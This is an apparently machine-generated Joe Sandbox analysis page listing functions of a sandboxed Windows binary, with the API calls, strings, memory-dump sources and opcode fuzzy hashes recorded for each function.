Instruction Fuzzy Hash: 54D05E51F2964283E724BF13E499739A3107B96B84F900231CB5E1ABD1DE2DE21257D4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D68CF8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF7F4D68D06

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction ID: a78b9df928f09a9df00897874eb6c95b090df1c32100074f9a3fb09e694972ea
Opcode Fuzzy Hash: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction Fuzzy Hash: 50C08C20F02A02C3DB08AF27DCC911822A0BB91F04FA08034D31CC11A0DE2CC4EA87A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64E00 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF7F4D64E08

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction ID: f1f14e4f4862ca50e3450f4c57accc3929e170b2581368d9949e3209c3544f75
Opcode Fuzzy Hash: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction Fuzzy Hash: 0EB09210B03545C2D704AB23DCC21186325BB89B41BD94430C61DD1260DE1CC8EB9700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7F4D6E8D8 Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF7F4D6FC80

Part of subcall function 00007FF7F4D6AEE0: LoadStringW.USER32 ref: 00007FF7F4D6AF67
Part of subcall function 00007FF7F4D6AEE0: LoadStringW.USER32 ref: 00007FF7F4D6AF80

Part of subcall function 00007FF7F4D7EBEC: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7F4D6FB81), ref: 00007FF7F4D7EC20
Part of subcall function 00007FF7F4D7EBEC: SetLastError.KERNEL32 ref: 00007FF7F4D7EC63

Part of subcall function 00007FF7F4D612BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D613B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FBE8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FBEE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FBF4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FBFA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC00
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC06
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC0C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC12
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC18
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC1E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC24
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC2A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC30
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC36
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC3C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC42
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC48
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC4E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC8A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6FC90

Strings

%ls, xrefs: 00007FF7F4D6EB04, 00007FF7F4D6EB57
%s: %s, xrefs: 00007FF7F4D6F369

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: 8509f953a3f888072089c06e54905e895ae12183c162526f6ecee7f108d2818a
Instruction ID: eeaf8d85137bf525f1e9d53041e441ab017b1d408b5032090d1fa23e20fe07b6
Opcode Fuzzy Hash: 8509f953a3f888072089c06e54905e895ae12183c162526f6ecee7f108d2818a
Instruction Fuzzy Hash: 93B2A562A19A8293EB14BF26D4D41BEF315FFC5790F80423AE7AD437D6EE2CD5408690

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D959A0 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D96062
memcpy_s.LIBCMT ref: 00007FF7F4D96A0F
memcpy_s.LIBCMT ref: 00007FF7F4D96AB6

Part of subcall function 00007FF7F4D96D0C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D96D3E

memcpy_s.LIBCMT ref: 00007FF7F4D96B7F

Part of subcall function 00007FF7F4D904D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D904F5

Strings

1#QNAN, xrefs: 00007FF7F4D96C38
1#SNAN, xrefs: 00007FF7F4D96C19
1#INF, xrefs: 00007FF7F4D96C57
1#IND, xrefs: 00007FF7F4D96BFA

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: 8c7d82894d3eb9af29d7ef01237fe728618e392c192ac46bfd7fd60c8d4d3354
Instruction ID: 6729a88cfdb88ab886ed91f7747c6ff8043c339f6b9e6eafc3161d6b15fbb143
Opcode Fuzzy Hash: 8c7d82894d3eb9af29d7ef01237fe728618e392c192ac46bfd7fd60c8d4d3354
Instruction Fuzzy Hash: 2CB20B72A081828BE765AE66DC906FDB791FB4438CF905135DB2997BC4DF38E504CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D672AC Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF7F4D6730E
GetFullPathNameW.KERNEL32 ref: 00007FF7F4D6735A
GetFullPathNameW.KERNEL32 ref: 00007FF7F4D67477
GetFullPathNameW.KERNEL32 ref: 00007FF7F4D674BC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6762C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D67632
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D67638
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6763E

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: ea4125342bd4bac1772d1d8899cdb601593b7fbe57cae896892b32ae53872223
Instruction ID: a9853cdfad1140a9d804597ddb10eee05615126720068d3c607db080dfb98d4b
Opcode Fuzzy Hash: ea4125342bd4bac1772d1d8899cdb601593b7fbe57cae896892b32ae53872223
Instruction Fuzzy Hash: E7A1A062F15A5696FF00AF7AD8A45BDB321AB44BE4B905231DF3D17BC9DE3CE0418290

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D86900 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7F4D8691C
RtlCaptureContext.KERNEL32 ref: 00007FF7F4D86949
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F4D86963
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F4D869A4
IsDebuggerPresent.KERNEL32 ref: 00007FF7F4D869F8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F4D86A19
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F4D86A24

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: b19f735c2fc22cb40e9aa071b726c9969eab177a3aaad958e6e5f50a2ca54230
Instruction ID: c49e9d654bb09d71c79a5c1d5600d4ecd20b6f25589b0b278cb98d911a19135b
Opcode Fuzzy Hash: b19f735c2fc22cb40e9aa071b726c9969eab177a3aaad958e6e5f50a2ca54230
Instruction Fuzzy Hash: A3315E72609B858AEB60AF66E8803EDB364FB44758F844039DB5D47BD9DF38C548C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8AC28 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7F4D8ACA1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F4D8ACB9
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F4D8ACF4
IsDebuggerPresent.KERNEL32 ref: 00007FF7F4D8AD2D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F4D8AD37
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F4D8AD42

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 91f6c71151a94394cd8503301a90eeb37f847c0064739d62fe8d487df189b3c5
Instruction ID: e1eb004ac6c399c338c7bd7b48e33141ffe139aae68984ab1841c047fc4eb3f4
Opcode Fuzzy Hash: 91f6c71151a94394cd8503301a90eeb37f847c0064739d62fe8d487df189b3c5
Instruction Fuzzy Hash: 6A318336608B8586DB24DF26E8802BEB3A4FB84754F900135EBAD43BA5DF3CC545CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D92EE4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D92F14

Part of subcall function 00007FF7F4D8AE84: GetCurrentProcess.KERNEL32(00007FF7F4D9411D), ref: 00007FF7F4D8AEB1

Strings

*?, xrefs: 00007FF7F4D92F3B
., xrefs: 00007FF7F4D93334

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction ID: d56ae510ba437c42d410cd6a7df86e43c56138ec618b76dbef4c24311661945f
Opcode Fuzzy Hash: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction Fuzzy Hash: AB51C262B1569546FB11EF63D8804B9B7A4FB48BD8B844532EF2D57BC5DE3CD0418360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D954D0 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF7F4D9555B

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: da8ea6922841f073f92cc34a1e2faedec029532ea57241b79a126adb9e0f7354
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: C2D1F533B1928687EB74DF16E5D466AB7A1F788784F948134CB5E97B84DA3CE801CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D63BF8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00007FF7F4D6FD0F), ref: 00007FF7F4D63C05
FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,00007FF7F4D6FD0F), ref: 00007FF7F4D63C39
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,00007FF7F4D6FD0F), ref: 00007FF7F4D63C63

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: 40584bd50e56abfa42d30d5238e6f3c450c42cf4bf47e2a503ba7e13edba453c
Instruction ID: 6c8accfad9eab14ba98d04340be145758b08a493909c52ec7034b814bcefc283
Opcode Fuzzy Hash: 40584bd50e56abfa42d30d5238e6f3c450c42cf4bf47e2a503ba7e13edba453c
Instruction Fuzzy Hash: B1012171709B4693D710AF17F8C017AB391BB8ABC0F854034EBAD86B85CE3CD5148750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D930F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF7F4D93334

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: da297268851f0dad731dc14ad2341fe3f8b0674bdc4fe7056fefc165238299ef
Instruction ID: 33c7654a82531f1a0c8fe05805adb3c4183696a01a6f78024d22b43a1c1020b6
Opcode Fuzzy Hash: da297268851f0dad731dc14ad2341fe3f8b0674bdc4fe7056fefc165238299ef
Instruction Fuzzy Hash: 3C31C522B1869546EB20AE63EC457A9BA91AB48BE4F848635DF7C47BD5CE3CD5018340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D98FC8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7F4D99215
RaiseException.KERNEL32 ref: 00007FF7F4D99226

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 06edcf5cf4dff743b823cf551a0825fa65dd09d8c660a7c3592381f100fbb939
Instruction ID: 7c165986373f25d000abbbf2ce36cc844954e2ca12aca8bd379a35b9c76069f7
Opcode Fuzzy Hash: 06edcf5cf4dff743b823cf551a0825fa65dd09d8c660a7c3592381f100fbb939
Instruction Fuzzy Hash: B6B14873604B888BEB19DF2AC8863687BA0F744B8CF558971DB6D837A8CB39D451C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7C9F0 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D7C1DC: GetDC.USER32 ref: 00007FF7F4D7C1E8
Part of subcall function 00007FF7F4D7C1DC: GetDeviceCaps.GDI32 ref: 00007FF7F4D7C1F9
Part of subcall function 00007FF7F4D7C1DC: ReleaseDC.USER32 ref: 00007FF7F4D7C206

GetObjectW.GDI32 ref: 00007FF7F4D7CA44

Part of subcall function 00007FF7F4D7CCAC: GetDC.USER32 ref: 00007FF7F4D7CCD5
Part of subcall function 00007FF7F4D7CCAC: GetObjectW.GDI32 ref: 00007FF7F4D7CD03
Part of subcall function 00007FF7F4D7CCAC: ReleaseDC.USER32 ref: 00007FF7F4D7CDB7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: ff042b815f02e026fc3a69f6fa17aa22f2e26b04c76e1e8886377e325206ff29
Instruction ID: caeef4e789d4df9b6e09f25b4c5ece789aa62add1d85a2973f1864268dce5897
Opcode Fuzzy Hash: ff042b815f02e026fc3a69f6fa17aa22f2e26b04c76e1e8886377e325206ff29
Instruction Fuzzy Hash: CF812B26B18A598AEB10DF66D8806ADB771FB88F88B804136DF1D577A4DF3CD105C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7DE04 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF7F4D7DE4D
GetNumberFormatW.KERNEL32 ref: 00007FF7F4D7DEA9

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: c5aacc7d3bf90c30aa8a4618c48231a2257dd42d29752bb85db0feb902625d90
